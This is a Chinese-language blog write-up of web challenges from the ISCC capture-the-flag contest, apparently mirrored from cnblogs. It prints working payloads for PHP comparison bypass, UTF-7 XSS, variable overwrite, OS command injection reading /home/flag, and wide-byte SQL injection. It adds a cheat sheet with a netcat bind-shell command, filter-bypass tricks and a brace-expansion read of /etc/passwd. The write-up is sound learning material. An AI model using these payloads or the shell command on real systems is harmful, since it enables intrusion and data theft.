zoukankan      html  css  js  c++  java
  • ISCC的 Web——WP

     比赛已经结束了,自己做出来的题也不是很多,跟大家分享一下

     

    第一题:比较数字大小

    打开连接

    在里面随意输入一个值,他会提示数字太小了

    那么我们输入他允许的最大值试试

    他还是提示太小了

    我们知道做web‘最先看的就是F12打开源码

    在源码里我们可以看到框内设置的最长字段是3

    那么我们改大,再在框内输入远大于三位数的数字提交就会看到flag了

     

    第二题:web01

    打开连接

    在地址栏里如下图输入回车后就会得到flag

     

    这里是参考一位大佬的文献做出如下解释(大佬文献链接:http://www.91ri.org/12634.html)

    这里必须得说一下==和===这俩货的重要性。
    ==是比较运算,它不会去检查条件式的表达式的类型
    ===是恒等,它会检查查表达式的值与类型是否相等
    NULL,0,”0″,array()使用==和false比较时,都是会返回true的,而使用===却不会

     

     这里,使用strcmp去比较password和flag,如果==0的话,就给出flag,

    但是strcmp比较,如果相等才会返回0,如果不相等的话,要么大于0,要么小于0,

    但是strcmp只会处理字符串参数,如果给个数组的话呢,就会返回NULL,而判断使用的是==,NULL==0是bool(true)的,

    所以,这道题还是一如既往构造一个数组进去

     

    第三题:本地的诱惑

    web签到题

    提示是本地的诱惑

    说明就是要抓包改包

    将地址改为本地地址

    用BP抓包工具抓包改包

    修改方式如下

    然后GO就可以了

     

     

    第四题:你能跨过去吗?

    http://www.test.com/NodeMore.jsp?id=672613&page=2&pageCounter=32&undefined&callback=

    %2b/v%2b%20%2bADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAl

    AG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2b

    AC0-&_=1302746925413

     在他给出的提示中

    %2b   是+号

    %20   是空格  (序列化之后)

    把中间的base64编码提取出来解开

    <script>alert("key:/%nsfocusXSStest%/")</script

    把key输入进去就可以了

    第五题:一切都是套路

     

    $v){
    	$$k = $$v;
    }
    
    foreach ($_POST as $k => $v){
    	$$k = $v;
    }
    
    if ( $_POST["flag"] !== $flag )
    	die($_403);
    
    echo "flag: ". $flag . "
    ";
    die($_200);
    
    ?>

    从代码中可以看出这是一个变量覆盖漏洞

    构造攻击:
    GET:http://118.190.152.202:8009/?_200=flag
    POST: flag=111
    原理: 
    foreach ($_GET as $k => $v){
    	$$k = $$v; //将$_200注册为变量并且赋值为$flag的值
    }
    由于if (!isset($_POST["flag"]) )的限制post变量中必须要包含flag,但是由于下面代码又把flag覆盖掉了
    foreach ($_POST as $k => $v){
    	$$k = $v; ////将flag注册为变量赋值为111
    }
    所以无法直接看到flag,所以需要将$_200的值覆盖为$flag

    第六题:你能绕过吗?

     

    第七题:web02

    直接上工具,

    把题目链接填上

    构造本地ip

    然后抓包就能找到了

     

     

     

    第八题:请ping我的ip看你能ping通吗?

     

     

     

    对URL进行初始猜测这是一个命令执行漏洞
    http://118.190.152.202:8018/?ip=127.0.0.1

    命令分隔符这里介绍5种姿势

    %0a符号
    换行符
    %0d符号
    回车符
    ;符号
    在 shell 中,担任”连续指令”功能的符号就是”分号”
    &符号

    使用http://118.190.152.202:8018/?ip=127.0.0.1%0acat%20index.php

     

    
    

    flag文件在/home目录下哦!!!

    index.php?ip=127.0.0.1%0Acat /home/flag

     

     

    既然题面说了ping,自然很容易联想到命令注入这一块儿,之前没有好好用过命令注入,最近做了这题,顺便总结一下命令注入的相关知识。

    好了,回归本题。经测试,?ip=xxx的确可以做到ping,根据提示,注入点也八九不离十就在这儿了。

    测试了n多截断,都没有成功,包括& | ; (反引号) || && ,最后查到还有%0a,代表空格。。学习了。注入成功。

    然后就是读取了,先ls一下,看到当前目录下只有index.php,cat看了一下,发现过滤情况。不过flag并不在这儿

            ';' => '',
            '|' => '',
            '-'  => '',
            '$'  => '',
            '('  => '',
            ')'  => '',
            '`'  => '',
            '||' => '',
        );
    
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 1 ' . $target );
        }
        echo  "
    {$cmd}
    ";
    ?>
    

    而后直接ls / 到根目录,查看各个可疑的文件夹,在/home里发现flag,cat读取之。最终Payload为:index.php?ip=127.0.0.1%0Acat /home/flag

    分析

    这道题不得不说,还是吃了点苦头的。自己对命令注入了解甚少,当初培训讲过的也已经忘记了。所幸,CTF是学习的过程,学到东西就是好题。一开始找不到可用的截断的时候,用了神器commix,然而并没有跑出来。。这个应该还得继续研究一下。

    OS Command Injection总结

    0x00. Def.

    系统提供命令执行类函数主要方便处理相关应用场景的功能.而当不合理的使用这类函数,同时调用的变量未考虑安全因素,就会执行恶意的命令调用,被攻击利用。

    0x01.Causes

    此类命令执行函数依赖PHP配置文件的设置,如果配置选项 safe_mode 设置为 off,此类命令不可执行,必须设置为 On
    的情况下,才可执行。PHP 默认是关闭的。在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令,或在编译PHP是加上 –with-exec-dir选项来指定,默认是/usr/local/php /bin。

    0x02.Method

    常见php命令注入函数:

    eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,array_map(),反引号,ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()

    命令注入中有讲究的字符

    '$'
    ';'
    '|'
    '-'
    '('
    ')'
    '反引号'
    '||'
    ————以上是上题过滤的。
    以下是查到的其他的:
    '&&'
    '&'
    '}'
    '{'

    姿势

    • 检测一阶命令注入的最佳方式是尝试执行一个sleep命令
    • 在外部可以访问的端口上生成一个shell(仅适用于自定义netcat构建):nc -l -n -vv -p 80 -e /bin/bash (unix) 或 nc -l -n -vv -p 80 -e cmd.exe (windows)。
    • 如果想要知道目标主机名的长度,我们可以将主机名的输出通过管道符传递给wc -c命令。

    绕过

    • 防护措施中使用最多的就是对于payload中空格的限制。

      OS命令注入中的空格:

      • bash
        空格可以替换为%20、%09(tab)、%2b(+) in url、{IFS}
      • Win shell
        空格可以替换为%20、%09(tab)、%0b、%0c、%2b(+) in url

      花括号扩展:

      • 如:;{cat,/etc/passwd}'

    参考文章

      • FREEBUF 命令注入与挖洞 http://www.freebuf.com/vuls/139924.html
      • FREEBUF i春秋关于命令注入的分享http://www.freebuf.com/column/146503.html

     

     

     

     第九题:Please give me username and password!

    打开连接查看源码

    源码信息太少

    在地址栏后面跟着输入

    /?username=1&password=1

    回车

    查看源码

    可以发现里面有一个txt文档

    怎么打开呢?

    在原来的网页上地址栏中跟着输入index.php.txt 回车

    这就是有关flag的代码

    剩下的就是绕过了

    在地址栏里输入  /?username[]=1&password=1e3

    username[]=1的作用是 绕过 

     

    第十题:SQL注入的艺术

    该题为宽字节注入

    http://118.190.152.202:8015/index.php?id=1%df%27 order by 8%23

    总共有8个字段

    直接丢sqlmap跑了

     

     

     

     

    第十一题:试试看

     

    第十二题:Collide

    第十三题:Only admin can see flag

     

     新增题目

     

    直接网上搜md5值碰撞,试出来的

     

     

  • 相关阅读:
    二分查找
    泛型 学习
    一个时间转换的功能的类
    TCP/IP、Http、Socket的区别
    值得学习的
    popupwindow使背景变暗
    设计模式最好的学习网站
    观察者模式
    数据报的使用
    网络编程server
  • 原文地址:https://www.cnblogs.com/Yuuki-/p/9010570.html
Copyright © 2011-2022 走看看